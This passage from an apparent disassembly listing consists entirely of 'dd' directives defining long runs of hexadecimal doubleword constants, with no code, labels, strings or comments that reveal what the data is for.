		dd 0BA079C4Eh, 881F3910h, 4F71CEA7h, 80327801h,	53235064h
		dd 87EC6808h, 9094E0C8h, 528ACE10h, 0E2D3C18h, 883F29h
		dd 6B8C0257h, 0E6D46353h, 0D0471200h, 8BA64290h, 78BCA6A9h
		dd 75A1183Dh, 3431060h,	1700E0F8h, 45D3B185h, 124CA438h
		dd 21E85796h, 0E417FC1Ch, 0D9008605h, 38A6E1CEh, 255A819h
		dd 9F11A16Eh, 7880CCF3h, 0FA6F4C5Ah, 8717A825h,	780E73Ch
		dd 48F39861h, 0FC80D4C4h, 0F6FD343Dh, 951697E0h, 0EADFB9h
		dd 9DA51459h, 0AB28DC01h, 59731846h, 0DDE305F8h, 432C037h
		dd 0E4948928h, 0DE000972h, 3315E90Fh, 1463A88h,	78B519D8h
		dd 703F429Dh, 0E6446C80h, 8B0C0094h, 854845BDh,	575C0941h
		dd 0D70C54C4h, 6004BB90h, 0E8A7176h, 88F3A488h,	0F01F18CEh
		dd 4556F79Bh, 7F9EB802h, 0C8E6D6h, 0D10C2527h, 0FE427729h
		dd 94A5FA26h, 0FC894A90h, 98204B8Bh, 0D68997B1h, 5A0BD0B0h
		dd 81A5D948h, 613DA2B0h, 72DE860h, 0F245CA83h, 66F805Fh
		dd 39224DF8h, 5D4407ADh, 4B415274h, 4046CC84h, 8DA1893Ch
		dd 30124A70h, 58B7CF74h, 91993Dh, 0C0BCFBD3h, 7C34A0h
		dd 0C8AAB9DFh, 0C9F3EBF7h, 7C07CD4Bh, 0A6333B60h, 30900058h
		dd 0C6456655h, 0C101C83Dh, 68FBDD22h, 0E180FFFCh, 0AB49BF80h
		dd 4509EA8Bh, 91028D54h, 0D010F5BCh, 350B2876h,	773EB922h
		dd 50FD3F87h, 45F388C5h, 68985900h, 6ED562C6h, 10650247h
		dd 6FCEEC91h, 0C3BFD480h, 6D395BFAh, 21A0CC63h,	0E1158h
		dd 345FEF83h, 2068C2h, 704E4094h, 35E2646Ah, 8114AD4Ch
		dd 9EB1EC59h, 22FF44Ch,	9777D65Ah, 24716E14h, 4A57D000h
		dd 178155h, 76F9D45Ch, 48F61D23h, 75B69702h, 402AEE99h
		dd 448E531Ch, 6B4AFAF4h, 61A49840h, 0A318C7D4h,	8196F898h
		dd 0EA0100ADh, 0C63C5949h, 0E203F7C9h, 0CD4C6718h, 17390050h
		dd 0D2940D1h, 0D9095A5Ch, 0F4BB097Ah, 40442E69h, 91791996h
		dd 696FD500h, 5C40070Fh, 0C9E608FBh, 90251054h,	97954Ch
		dd 0A2C4E17Eh, 76471D0Eh, 3F1F5301h, 6E0F8E5Fh,	0C8817C28h
		dd 30F361BCh, 0F278ECDCh, 0A7EF8027h, 0A9602214h, 2A548E96h
		dd 25F89485h, 94926FFAh, 9C64A842h, 8B22E40Eh, 0C3C62208h
		dd 803073F0h, 0CA754E23h, 54007733h, 5115CD17h,	9530A4h
		dd 0C62D2BD6h, 4E4CC5E8h, 65341C00h, 0FEF5480Eh, 0B58112A8h
		dd 3DB40F42h, 807F2E86h, 2C0FBC4Ch, 0B82C6CE0h,	0FB1004E9h
		dd 10C6F243h, 0F8E91918h, 0DDFE99h, 0AFBBCF58h,	0BD9912AAh
		dd 6F008DE4h, 0F08949D0h, 18589C07h, 0F156CD4Ah, 403A0892h
		dd 6A5900BFh, 8B886476h, 6BDCEBA3h, 516C0783h, 0C057943Bh
		dd 0FAF53CB1h, 9ECC1C17h, 4912C00Bh, 0F908CD24h, 76DC1D0Ch
		dd 2CA508C7h, 7CE4FCh, 0CD37D4B5h, 0BC1E74EAh, 0E02E59A0h
		dd 5E3A4140h, 45BB00A4h, 0A7D11BB3h, 0D6071767h, 0C67451DEh
		dd 0C020C115h, 7049CE6Eh, 0A1083187h, 0A8F9A5D9h, 7D100068h
		dd 438E570Fh, 0F0802296h, 8B05D110h, 84E476E1h,	1454B19h
		dd 6B849C0Fh, 0C54340EDh, 4A2AC6h, 46237BFDh, 0DC7666A5h
		dd 720B2BE0h, 0E61AE4Bh, 57A8337h, 6F5815EAh, 43189014h
		dd 0A6B3303Ah, 8179F800h, 0EA04C422h, 890D602Dh, 60CFF726h
		dd 5AE54C1Fh, 33644E80h, 58EA1AECh, 702110B7h, 870B6E0Bh
		dd 6940B6B0h, 984644Ch,	7767FB90h, 0A552AC90h, 2100367Eh
		dd 832F6535h, 68DD07h, 0C6B6E24Ah, 1CF820F1h, 0BAEDD903h
		dd 0D56D0F9Fh, 23FF7800h, 0B049D72Fh, 87300F60h, 2EEDF809h
		dd 6F903430h, 3895DC33h, 0E97876h, 641EB196h, 0C5ACDA36h
		dd 0CD804D1Fh, 1BF09E3Ah, 0EB21F7C1h, 0D5F09FB4h, 4C7FCA5h
		dd 0EEFDD45h, 2C78A571h, 480780ACh, 90F80496h, 0C37E01A1h
		dd 94D08CBBh, 40E46070h, 58C08000h, 820FFA6h, 0B083099Dh
		dd 0C84A4E8h, 57CC46FBh, 8FA80551h, 8170865Dh, 602D7676h
		dd 11009458h, 0A2C6550Bh, 258E4D80h, 18200F2Eh,	59D7ED62h
		dd 81297B00h, 380961E6h, 0F7D0091Bh, 3029DF2Dh,	0D1E15818h
		dd 18CC0800h, 0BDF6F185h, 27C738F4h, 0FED6608Ah, 0E46854h
		dd 4C6259BAh, 0B93CA58Eh, 1201F55h, 0E12BBD03h,	80A69830h
		dd 98E3626Bh, 0B8A48970h, 57E488CCh, 0DB3A4900h, 8392FBFh
		dd 0D0EE00D3h, 554ECBC7h, 83002E02h, 18BF4DA9h,	2653E3F1h
		dd 45805984h, 0C241F69h, 0D4C9F787h, 3AC1894h, 718509h
		dd 73898DECh, 4348C408h, 0ABFCE42Dh, 0BA74B01h,	0F5D2BEB7h
		dd 5CF377F8h, 5B89BCCBh, 0C2036864h, 5784C49Fh,	3956D813h
		dd 8EC7004Ah, 63125C15h, 532C1C16h, 0BC2EF04Ch,	21EDB853h
		dd 13A500C6h, 0F13ED258h, 0E6004E15h, 0CDBD0B7Dh, 13D34498h
		dd 91FF36E8h, 71E501ECh, 880C2CCh, 5B486CBEh, 0D04E4090h
		dd 0CD4BEC20h, 0B5DB8858h, 3AB4E500h, 8018DE30h, 0B94AC0C1h
		dd 4DC99965h, 4561B200h, 0FB296872h, 332C07B1h,	10147EFDh
		dd 4484ADCh, 5591E05h, 6C22253h, 19C52D5h, 0D12B1133h
		dd 2024ADDEh, 681D9590h, 47004C80h, 42DA543h, 0C0E90033h
		dd 0CEDF76F8h, 0D1744C1h, 54305A15h, 664A8Dh, 1CC5DD29h
		dd 4527A5F8h, 81946100h, 0EFE96DA3h, 0F3990AFBh, 44A812C5h
		dd 3C5A40FAh, 319A5E2h,	7887438Dh, 61B8D30Dh, 0A82DAD83h
		dd 4D4106Ah, 2E2A001Ah,	0E032C794h, 35023F5Fh, 0E87E7633h
		dd 0B45943h, 47ECC889h,	61058CB3h, 0DDA5D7F7h, 0DEEF8880h
		dd 0E1FF1244h, 63C4896Dh, 0D4850060h, 35EEB40h,	418900EDh
		dd 0B9B5D809h, 0D1B0C89Bh, 0F881CC30h, 1324596Ch, 884F6DFAh
		dd 0E107B3F0h, 6EFE1955h, 0E45361F0h, 94490C4h,	38654DCh
		dd 86B7C11h, 265CA02Dh
		dd 174A0B8Ch, 8287A227h, 1DD7006Fh, 0DB02EB6Ah,	0C9A1FF41h
		dd 21885878h, 760105C6h, 4C5E9CE2h, 2990DAE0h, 6CF5EFh
		dd 0B5A6D270h, 9400031Bh, 3D7F6EEDh, 0A2C877h, 0F876582Ah
		dd 0C4745068h, 92FC4A58h, 2E72E8C8h, 15E968E8h,	600FCF6h
		dd 6D2766B7h, 0AFEEF4F7h, 7D001BB8h, 2C952473h,	1A8B174Dh
		dd 0B04ADD79h, 4008D884h, 0B39EF703h, 0BF5916C8h, 0B55000AAh
		dd 6CAE819Dh, 18715600h, 78BB9845h, 0CC7A44h, 5FD0E5B3h
		dd 196E5172h, 69177670h, 9824B081h, 806808C2h, 5E54358h
		dd 4CD0A158h, 2A815311h, 0D2C12C27h, 0D86DF1F8h, 2486F11h
		dd 6EE5BF53h, 9CC2821Ch, 90E08B0Ah, 7D428934h, 0F7520087h
		dd 3419A414h, 1830CD15h, 0F392029h, 490C947Ah, 0EC76A082h
		dd 14500E6h, 0A96FB930h, 0CFE944h, 6CC6AFA1h, 8704C07h
		dd 0D8625D3Dh, 142D86FCh, 6E210041h, 0F6E4E56Fh, 0FA39C834h
		dd 0C3CA00E8h, 0C0A98430h, 90B8741Ch, 0D2F32D0Ch, 6EA53490h
		dd 3E60D509h, 0E83C529Fh, 717E8CBh, 0D30F03C6h,	3CEEE288h
		dd 27DB9C40h, 4601E419h, 0A3150648h, 0CEDC03FCh, 885E518Ch
		dd 9665FA06h, 248140B4h, 44269933h, 8C17AC37h, 0FD6C8C21h
		dd 0CD2CC12h, 4289E724h, 0FA121626h, 0FB3B3A07h, 0A8FF99B3h
		dd 0EFCA31h, 81AB36A8h,	2E90E864h, 0A768FA19h, 34322D41h
		dd 1A763907h, 7EF4A0CBh, 310E9F33h, 0C1A71085h,	865612Ah
		dd 0F944D0B8h, 2393C00h, 7D3B5F86h, 8570E01h, 65455D49h
		dd 0F90C0133h, 874B4C3Fh, 0C9019F39h, 0CC202E95h, 7C6E40h
		dd 0D426A52Dh, 6898BFD5h, 0CEE62803h, 0D0589B65h, 168AF924h
		dd 83694D71h, 0F0D22E28h, 9CB878F2h, 0CE047C90h, 0A4E275C6h
		dd 0E0077CE1h, 0C0C8DC63h, 0B6596F3Bh, 1721B2D4h, 0A6D41440h
		dd 0D9B43102h, 54FFE8F1h, 0F6B8DCh, 624391E6h, 0DB5FD782h
		dd 0A4B98800h, 967A7108h, 543C4810h, 0EC28C808h, 0A1A5FA9Fh
		dd 0E8E2CED0h, 0FE3C5C38h, 9388F144h, 0BA8200D3h, 7D54BE88h
		dd 800ECD1h, 2D81B63Dh,	6FF967FAh, 8FEB48FEh, 20045044h
		dd 7E6F0F73h, 81D84890h, 20249030h, 0A40004B1h,	0C64AB68Bh
		dd 2F216C2h, 0F4243CA5h, 2CC48ACAh, 7B80E4E0h, 0F98700B4h
		dd 0BE3E0FF0h, 1800B264h, 232C4C89h, 3FE4924h, 262885AAh
		dd 0D19D8254h, 0C09A4B38h, 3F4C2761h, 584A31D8h, 7C32D5FFh
		dd 0CD49AB00h, 7B658779h, 24DE103h, 0A96489FAh,	170AC47h
		dd 0F34A043Ch, 0C8EA3EC8h, 306C2D0h, 927C415Fh,	78466260h
		dd 8090E8EAh, 71350EBFh, 0A8027009h, 5AF0EF2Eh,	43F24420h
		dd 0E9C0C602h, 8A284775h, 0A541E090h, 0C822A350h, 5806E40Fh
		dd 4371D65h, 149ADACh, 0A6533DDFh, 1F0C1440h, 34E3155Bh
		dd 0B7CCCFDh, 0A53CAC29h, 27A07C98h, 460067F4h,	7AA9BC6Ah
		dd 1EF0639h, 55C5CF9Dh,	313D7174h, 143F998h, 0F832C7F3h
		dd 0A2516001h, 0D0FBF9F2h, 70056107h, 6A8454ADh, 480C8054h
		dd 912D89B0h, 3AECAB30h, 7E6902E7h, 454FA71h, 6DF8D8C0h
		dd 0E3D1D060h, 950F13CDh, 0F2395C00h, 0E0E34436h, 0F91F4E06h
		dd 6DDC89D5h, 1000942Ah, 21339EFh, 0CE250D6Eh, 29A02408h
		dd 4172A70Ch, 0B457D600h, 0CCECE1EBh, 7433078Ch, 40166A92h
		dd 4FF70214h, 438A3700h, 7D6003ADh, 491560A7h, 285A860Bh
		dd 920E9C00h, 568942D9h, 630D397Dh, 2916AD99h, 8567E073h
		dd 6B77C207h, 18DCA033h, 7DEB3013h, 0EC320208h,	9EA9390Bh
		dd 93B100B0h, 0A38FD0h,	0FE88B30Fh, 9BD37B6Ah, 281CFDE2h
		dd 94C755C3h, 0CAF7FBE9h, 0BA5B570h, 317A00DFh,	83670354h
		dd 0EF00FA3Dh, 0D4F710Ch, 60902224h, 0AFCE717Fh, 7663EBEEh
		dd 0B0B6FF11h, 64AE69Fh, 74CF5AD0h, 130FC1CCh, 0E1B5362Bh
		dd 0D8A59206h, 0F61121D2h, 84800730h, 3EEB27CFh, 0FB1891E7h
		dd 0D851923h, 29563Bh, 4CDA4675h, 1D975DF2h, 0C0C995F3h
		dd 666E5885h, 83EC2384h, 345791C6h, 0D2D10041h,	0F51BAAC6h
		dd 60073F0h, 0CEBE9232h, 31CC9C25h, 8BA91D0Dh, 291BF0F6h
		dd 0E0B4E903h, 0C19F63BCh, 897FF45h, 0FB1A0074h, 1F2CC2ACh
		dd 0B1D14800h, 7DA70785h, 7324A0B2h, 0E26300B5h, 2B682C17h
		dd 24985374h, 6D719B00h, 0F12620AFh, 0EB1818E7h, 9D8DB17Ch
		dd 6C84E200h, 7188F3CEh, 0F54E0075h, 97A18994h,	250C3DC3h
		dd 0D92D5708h, 6B5A00DEh, 2BB7C816h, 9F0C1579h,	2857DF87h
		dd 2AAC187Dh, 13FC9001h, 70B2B8A8h, 6A5C5600h, 8CEB411Bh
		dd 4FD03B53h, 3FC34280h, 23E3F3CCh, 0A4A48770h,	583144h
		dd 0A3EDD9E1h, 3DFD29AEh, 3DD501Fh, 798F2205h, 802A1808h
		dd 1696811Ch, 0C81D254Dh, 14817CF3h, 0EFC6B74h,	2E2A9180h
		dd 0CC2B48F8h, 41AB6400h, 6AA6C450h, 0AECB0040h, 9F8ACED6h
		dd 2F6057F5h, 9B76DB59h, 386F002Dh, 352ECAF6h, 2301CF48h
		dd 369C6BC9h, 5422EB19h, 2B75A400h, 0E47C7A33h,	0E62D5C00h
		dd 1A7F10C0h, 268900BEh, 0EFA699B1h, 11181938h,	0D6935F2h
		dd 8AE8A921h, 0F678DCh,	1BB7CDD7h, 0F81C69D8h, 3F019E1Dh
		dd 508B6641h, 6C22D6A5h, 28588308h, 1C06AB96h, 508ADCAh
		dd 11E42367h, 336803FAh, 397C0896h, 3C23F122h, 0F30CD4A9h
		dd 9A291453h, 576210FBh, 1AEA8829h, 31CAC801h, 515F8379h
		dd 0A6663DCh, 8F8B99AFh, 0CF620788h, 7DC28020h,	0D9C2A1A9h
		dd 447B8E22h, 1A0D30E8h, 0FDA57519h, 0D96FE900h, 8D7A84CFh
		dd 0D28A3068h, 87DA8548h, 3426C724h, 9333BA03h,	0EB991811h
		dd 42415178h, 84DBA30Eh, 0FC60401Dh, 14EB7CE4h,	60EDFE8Ah
		dd 98A41983h, 20635CA1h, 0EE0005B0h, 1385CC07h,	9252D7B8h
		dd 0A52B447Ch, 699BBA00h, 0FB2C24E6h, 83B838A8h, 27FC2A93h
		dd 62AE408Ch, 9FEE5B25h, 32BAC700h, 0AF33B72Ah,	1C477B86h
		dd 62EA0E6h, 0F9190D3Fh, 0D1BB3E00h, 6F6AA972h,	71E09A9Eh
		dd 0F0614837h, 0D7C1A852h, 70338566h, 0FD00658Eh, 0E24E9591h
		dd 1D2058FEh, 0C9D4240Bh, 5004CA0Ch, 2CF88CE4h,	1C00B8E2h
		dd 0BC4CAFC9h, 0A81DBE0h, 98661F56h, 384794D4h,	26381422h
		dd 0C4720105h, 5C59A243h, 78250C0h, 0C64E91C7h,	0FE0D01BBh
		dd 0E81C4D02h, 0F20369B3h, 68F143CDh, 8CBDD053h, 22720365h
		dd 0ACDA99C8h, 3CE86798h, 0BFFB1901h, 2F83F5ADh, 0A516422h
		dd 7897048h, 8B6F487Ah,	60884A72h, 1EB3455h, 0D48DCD00h
		dd 9FBC53C3h, 3CF404FFh, 0CCDE7D69h, 0CA0FAB28h, 0E09738EBh
		dd 0C97B10A7h, 0D49F01C7h, 0A5548B6Ah, 21A823DAh, 2548885Ch
		dd 33CE0830h, 56CD3AD2h, 0B5672160h, 1F002397h,	7BC13D52h
		dd 7E58C530h, 0EFCD0118h, 2E949CEAh, 0CE63E085h, 64092012h
		dd 9BA02404h, 98020F04h, 4D12CB0Ch, 9203C7CDh, 9E98332Eh
		dd 57F73899h, 801BF9C5h, 71DBDA31h, 0E9994876h,	12BAA020h
		dd 21FDFCFAh, 3044CD94h, 14005018h, 5AD1AE7Ch, 78970970h
		dd 8B75009Eh, 612F48B2h, 10010EEEh, 0BFF12869h,	70CF63h
		dd 67628808h, 0E07C9098h, 8923E713h, 0A5CEC420h, 294200F2h
		dd 25116088h, 30D97503h, 0C0080940h, 0D8947C00h, 8F9F8519h
		dd 2D9E00D3h, 51D6CE07h, 51C1F011h, 85751D6Eh, 0E4305875h
		dd 0DFC2284h, 80B5D93Eh, 2774FFADh, 45166E4h, 0F911712Ah
		dd 958A4028h, 0C0857DBh, 2C356A75h, 2F12F718h, 24008237h
		dd 79AC0509h, 564F46Ch,	7D575126h, 0C98C8A6h, 60275418h
		dd 28D42551h, 0F0502955h
		dd 710502DEh, 0F4116D7Fh, 33141864h, 678049Ch, 8ACD75CFh
		dd 2F031E11h, 80029077h, 5D27AF39h, 9D1D04C7h, 0C046DB97h
		dd 2377CE40h, 2298B63h,	0CCD00AC9h, 608CB8A3h, 0EAE1922Eh
		dd 38073A74h, 8D98F794h, 112F1250h, 33831C16h, 6CC2019Dh
		dd 435FFB25h, 0D3DFE3D4h, 479B651Ah, 0BE5A9BA0h, 73008098h
		dd 2540A57Ah, 2E7E8934h, 0ACC846h, 86EDA7B3h, 6A006707h
		dd 90A333A9h, 124E37F9h, 0C5AD525h, 85D91E56h, 0C3000B7Bh
		dd 384037E8h, 7D6828h, 0F763EEDBh, 800871B8h, 83222A0Dh
		dd 0B833E17Eh, 180643Dh, 0EF90419Fh, 0CA726D66h, 18AF6300h
		dd 0FBADC526h, 14354C83h, 0AA64DBC8h, 986DF700h, 0C6002538h
		dd 0C9474119h, 32F5F07h, 0E2461C7h, 5BE8EC97h, 1F7E35ABh
		dd 0F77FB40Bh, 1B64864Dh, 687300C9h, 5D671EF9h,	98725FCFh
		dd 50707458h, 0B98B5B54h, 0DC48874Fh, 3FA7107Dh, 30223E01h
		dd 8563E16Fh, 30FF300Ch, 3BFC11B8h, 270D41C6h, 0F7DA0171h
		dd 447DF48Bh, 5F68F046h, 2200C07Eh, 0DD60F115h,	0D84DC51h
		dd 26EE1174h, 0DBC84041h, 7524E5F9h, 0AB006CC9h, 942D5377h
		dd 74920236h, 0E4E2CC3Ah, 76EC85h, 0A19C55E8h, 0FC902B14h
		dd 785A172Ch, 54205160h, 943D001Ch, 376835A5h, 75063605h
		dd 67EF5BC0h, 31DE0810h, 0E34E6D81h, 0C178745Ah, 0C7E03897h
		dd 61A628ADh, 49C10F10h, 6F08536Ch, 0B5C87A1Ch,	55C04056h
		dd 8A062BAh, 8A099D1Fh,	10B17DAAh, 221208C8h, 331F2AFCh
		dd 2C200399h, 4AF0D6F7h, 81782E14h, 79B0FBFEh, 86382452h
		dd 25666F44h, 6890F523h, 3F0032EEh, 5F9D30DBh, 0CAD290h
		dd 0ECD0D69Ah, 76636217h, 0C9DCCE48h, 41E43860h, 5D1706AEh
		dd 19200DC8h, 0C1323900h, 0B97FEF09h, 85880606h, 7850DD1Ah
		dd 0C1A3A833h, 8488C473h, 9C5E1CB5h, 6BCE43DBh,	8C8E006h
		dd 54000A85h, 0DDD4E543h, 5CF445Fh, 0F211FB60h,	849042C1h
		dd 50C1F39Fh, 834C4098h, 28004265h, 7585C7BAh, 30337D3Eh
		dd 0FE213297h, 2309F1AAh, 93256A86h, 608AD8E4h,	11890C7Fh
		dd 5938E72Dh, 81702B80h, 83D474FBh, 2C6E513Fh, 741F08FAh
		dd 14AA7D06h, 6F53F081h, 41D5927h, 0B0878D04h, 2C83EF48h
		dd 17187329h, 0D9A83016h, 3600EEF4h, 0E4500A3Fh, 7B74881h
		dd 0E36D0811h, 4E10F65h, 5075EAFAh, 0D8B8679Ch,	0CA01A47Ch
		dd 85CD5936h, 59EBF97Ch, 0C7171C20h, 45F60054h,	92A52C1h
		dd 0E86CD70Fh, 0F00BF12h, 7C512225h, 1F149323h,	88357A4h
		dd 0F13F9690h, 7A108554h, 509558h, 940D5CE2h, 0A42530AFh
		dd 5EDF470h, 281F6C2Ch,	0C0449757h, 696FFD17h, 0B6D9DA00h
		dd 0C06A7B22h, 4489021Eh, 1A09EF66h, 5A7AFA40h,	0A54CF900h
		dd 6EEC7902h, 3C831E82h, 0EE8C9EE8h, 303B005Ch,	658B9485h
		dd 0FD0E15FEh, 0AD9533CDh, 472A86Eh, 926B7401h,	0CC98BDB2h
		dd 0B01F1603h, 70059E8Ch, 0F040BB65h, 350CEF02h, 8A080F4Ah
		dd 0E40AF315h, 1B170108h, 801F0DC7h, 28D671E1h,	180577Ah
		dd 9EB0F219h, 48E00D78h, 2C0062F0h, 0D3F4E887h,	2A637584h
		dd 1E843257h, 9D34DC0Fh, 562BC026h, 4EF3CF79h, 63CC571Ch
		dd 38A2340h, 373FF9h, 73283284h, 5B185983h, 9AE8013Ch
		dd 42E905A1h, 850A81D8h, 0E4421F69h, 2E572353h,	8C957101h
		dd 5FE9758Dh, 589884D4h, 1392A8EBh, 0A3804098h,	0C93A1E4Ch
		dd 3703D7F0h, 114B2F96h, 2549D6EFh, 44239433h, 69007AEBh
		dd 0D5BE7E5Bh, 68CED3h,	62FE1E46h, 178DD6B0h, 0AAD38C9h
		dd 6E08C80h, 1747D87h, 0E1905E83h, 0E177D6C3h, 0FD642063h
		dd 40690C60h, 1D2839FBh, 0C188F3B2h, 0D27A0469h, 3218207h
		dd 4E48AF61h, 35988040h, 484E4C12h, 0BCE8A06h, 1B005851h
		dd 0FC13236Ch, 1672DA7Dh, 12A76303h, 1E500E53h,	0FD780612h
		dd 7400610Bh, 0C4195DF0h, 13F13B5Bh, 3258577Bh,	0EB221BC8h
		dd 7D88A082h, 0EDCBC9h,	1F23FBCCh, 0F1FF6460h, 0B77EE000h
		dd 0DEC88F98h, 0A1EE1CA2h, 0A9863D15h, 786DFFE2h, 1CD40844h
		dd 0C3AECB16h, 0FE8F0D8Bh, 0F8742028h, 8748F675h, 81CE895Ch
		dd 5FCD6A74h, 4C57F874h, 9DC01437h, 4A64B336h, 8232DF14h
		dd 0CCA67CFCh, 237ACE0Bh, 85BC988Dh, 72EE1297h,	5CEC14ADh
		dd 56CF18CEh, 7B0D457Fh, 3F01231h, 6A9C1E7Ah, 0E85892EAh
		dd 7B805F64h, 8B504340h, 0DA1E993Eh, 3A9E0D49h,	19048144h
		dd 0D06A4CC0h, 0D4630F09h, 8F6BE4A5h, 5DE0FC80h, 54057438h
		dd 0D59CE5F6h, 8212BEC7h, 1D608032h, 3A1E530Ch,	1F007955h
		dd 0D4C93B3Eh, 0E002407Dh, 0C4346C9Ah, 0EFB070C6h, 0D605E830h
		dd 3A50A8E9h, 94691274h, 29D89C04h, 671DCE02h, 392844D0h
		dd 92C8818h, 0FF91243Fh, 0E1F9111Ah, 706488C2h,	110CE720h
		dd 25829022h, 409CAF57h, 25AB5A23h, 42CA0FE0h, 0C0E1CD20h
		dd 73F9BD2Ah, 0C81C0048h, 7F531A3Bh, 0FAA32E4h,	0C4A112A0h
		dd 24260D6Ah, 951EDE74h, 0E540448Ah, 73B44F3Bh,	42B601AAh
		dd 4398FE2Bh, 8C07E160h, 0E127B240h, 229D4F33h,	8A12F588h
		dd 0A243F090h, 90B1F8FAh, 640900B4h, 9F99DC60h,	4C066A57h
		dd 6AA2382h, 34913758h,	0C401A999h, 0F8D8A7CDh,	402AFCEh
		dd 799C2769h, 51686863h, 190325F7h, 72076022h, 27F594A0h
		dd 98A65D37h, 40B7E700h, 3C3D1781h, 36E14CD2h, 2B950173h
		dd 37586D5Eh, 687C755Ah, 56A68094h, 144D2CAAh, 0ADAFF02Ah
		dd 0F7053739h, 0C89509h, 18E9F138h, 482CA289h, 9160186Fh
		dd 0E4C40B2h, 0C7548561h, 0FFC9C3A0h, 0D73A8E35h, 49A902FEh
		dd 722A877Ch, 530B1B60h, 29C04126h, 0C400631Fh,	9BF21455h
		dd 1587430h, 592CAE9Fh,	0A824AD7Dh, 78421439h, 2A042922h
		dd 0F445CA3Bh, 8A70C480h, 760BC9Dh, 82592304h, 9840626Dh
		dd 18407DE7h, 48C1FED2h, 0A4266875h, 0ECA31510h, 0D37B6B04h
		dd 6C2B4003h, 1CBD7483h, 926D1F79h, 0F244D056h,	8000E9F5h
		dd 0C165A84Ch, 30364A63h, 0CC213756h, 1577E5E7h, 80299B00h
		dd 0F8F0208Ch, 591001DEh, 7DA5475Bh, 6275C8CCh,	11C663Ah
		dd 238CF38Dh, 0D8707414h, 0F0A6FCh, 921C1763h, 0CABAEF7Eh
		dd 650099F0h, 0FD61E1A8h, 25A9AFCFh, 4085A257h,	9C448CF2h
		dd 0E2458085h, 56898C62h, 0EC75DB0Bh, 0BE1B817Eh, 31F104ADh
		dd 0EBC69428h, 46003977h, 4A0FD36Fh, 505774D0h,	89089831h
		dd 6DEFE083h, 25772F02h, 8F59840Eh, 1430D608h, 70207A5h
		dd 868FAE1Fh, 0DCBE4167h, 40240016h, 51D51E11h,	295E0041h
		dd 529B6923h, 0C61A1605h, 24009633h, 7AF92162h,	3E450983h
		dd 0D82463A7h, 558C4204h, 214C67Bh, 76E21145h, 0BC82C01Ch
		dd 84E3463Dh, 0A9FE47ECh, 9B882320h, 0CFF0C322h, 36F0D4A5h
		dd 620030BCh, 7B30EEFh,	79597B5h, 0A34E1BEDh, 851F7731h
		dd 0EF0805C5h, 311412E6h, 0E799DF14h, 0E4554BF1h, 0EEE06287h
		dd 0C00EE0E6h, 85AC3AA5h, 5800CC74h, 3D7C308Bh,	2C84AD4h
		dd 726159A8h, 80BB860h,	8ACF0F02h, 0A073EBC1h, 76C9F6D0h
		dd 39057CB4h, 7462BFh, 7CCA87CCh, 8568C123h, 0C6556412h
		dd 34B448Ah, 10FCF168h,	5AB48103h, 80232A65h, 2778DA8h
		dd 87386A3Ch, 2861D617h, 560CC4CFh, 6E8028EEh, 0E015007Fh
		dd 3E9D19C9h, 9A513392h, 0DD244C28h, 64AB5000h,	1ADADED2h
		dd 0A2331111h, 0F7FB0003h, 630D3897h, 8BC917ADh, 0C31C848Eh
		dd 98F0EE34h, 0CFEA9D2Ah
		dd 0A0AEA49Bh, 0A05FBE47h, 0F6E8643Fh, 1A29D6ADh, 4C6528D8h
		dd 3701209Eh, 0C6957D92h, 66187C32h, 97821919h,	0A81C0D80h
		dd 9F0E98h, 0D680CDA9h,	8B67E42Eh, 0D7A55114h, 31850030h
		dd 921E9A28h, 10385DAFh, 0B600298Bh, 36DFC41Fh,	26E2C100h
		dd 0BB6F4EDBh, 36524EBh, 0F7D78440h, 15A4D863h,	0F248D8ACh
		dd 1D54030Ch, 0B8C363E3h, 7923695h, 7CCF6D8Dh, 0D7F78081h
		dd 1075E17Dh, 11710E1Eh, 2CDCAA6Fh, 0C34BD07h, 2586C040h
		dd 24110474h, 0B38F2232h, 320D2074h, 0C815CA7h,	6C9EF040h
		dd 25C17400h, 912753DEh, 9BE20017h, 7318F5A5h, 820330B1h
		dd 0F46DA25Fh, 5B2812CDh, 80741263h, 312C1398h,	0EC0D7C0Dh
		dd 0DC30713Ch, 0E7F28828h, 8DF95D00h, 0A781B546h, 7192F230h
		dd 3DEABCh, 0A6AED80h, 2325557Ah, 56EB9401h, 2F830C4Ch
		dd 0B85DD89Ah, 0EB01DC73h, 84CF5B6Ah, 0A00E7823h, 0EE40515Ah
		dd 0C15DC6F2h, 310BA974h, 130BFF68h, 0BA6DF844h, 338900CEh
		dd 0AF7399AEh, 0B71D61E8h, 0F6395C6Bh, 0EBDCD400h, 0DABCF3Eh
		dd 754D3FFAh, 0C8CD5B96h, 301EAE4h, 59BE1115h, 8D7030D6h
		dd 958203E1h, 2F7E43E9h, 0F1AEFC0h, 67780502h, 4CCDFA34h
		dd 48F74C94h, 0A1480704h, 63C30E7Dh, 0EC97771Ah, 48480810h
		dd 25231440h, 0C025888Bh, 0FCB422AFh, 820008F2h, 0D71CF2CDh
		dd 496565Ah, 0F9621A14h, 9F8E81D9h, 7C33F587h, 362284h
		dd 0FE3E2234h, 0A253E91Ah, 178F3503h, 80B6C68Ch, 1DE639h
		dd 4879038Dh, 9F337413h, 0D0A65C96h, 0BADFAF00h, 27D94E8h
		dd 0D1A7CF06h, 0FC419D47h, 6BA8E803h, 0F13AC92h, 0DC04313Ch
		dd 0FA007250h, 8423F7A7h, 191FBF20h, 31530D67h,	7439FCh
		dd 3F61734Dh, 251821h, 85B4044Fh, 5149F7B1h, 52265F05h
		dd 8C0DBEAh, 96072D9Fh,	2157961Ch, 302BE7ECh, 5000239Ch
		dd 0F66C22BBh, 0F0749C5h, 94119E43h, 0D2C4B624h, 6201F1B0h
		dd 94280BF8h, 0ADE9FE00h, 0B82385C7h, 94197C13h, 96326A02h
		dd 63889156h, 2846DC30h, 0EC8595h, 43E24471h, 0BA64EF6Fh
		dd 6CE708A8h, 0E3C5FB00h, 5A28541Bh, 0D8F10094h, 0EF6B183Fh
		dd 383DB212h, 0FC3D0923h, 8844CDh, 0E70A25CAh, 0D191D8C1h
		dd 0C2214A00h, 0AAE457BEh, 1A183B19h, 29D89E78h, 0A568875Ch
		dd 552E0F96h, 0F23C23E2h, 4B3859h, 0A97DCD60h, 7939C017h
		dd 0FD85308Dh, 9580D4BCh, 1492BC37h, 42330007h,	5D6CD80Ah
		dd 38586553h, 0E144930h, 2061D054h, 4BBB2D59h, 4DCD090Fh
		dd 0F001620Bh, 0F846F919h, 8A004EECh, 3C8F1831h, 231E89h
		dd 0F3333B2Fh, 344AE2D9h, 0D3DA292Ch, 6C07280Ch, 0B8CE009Dh
		dd 0D63F687h, 9401179Fh, 64A514A8h, 118A9E35h, 614C56Ch
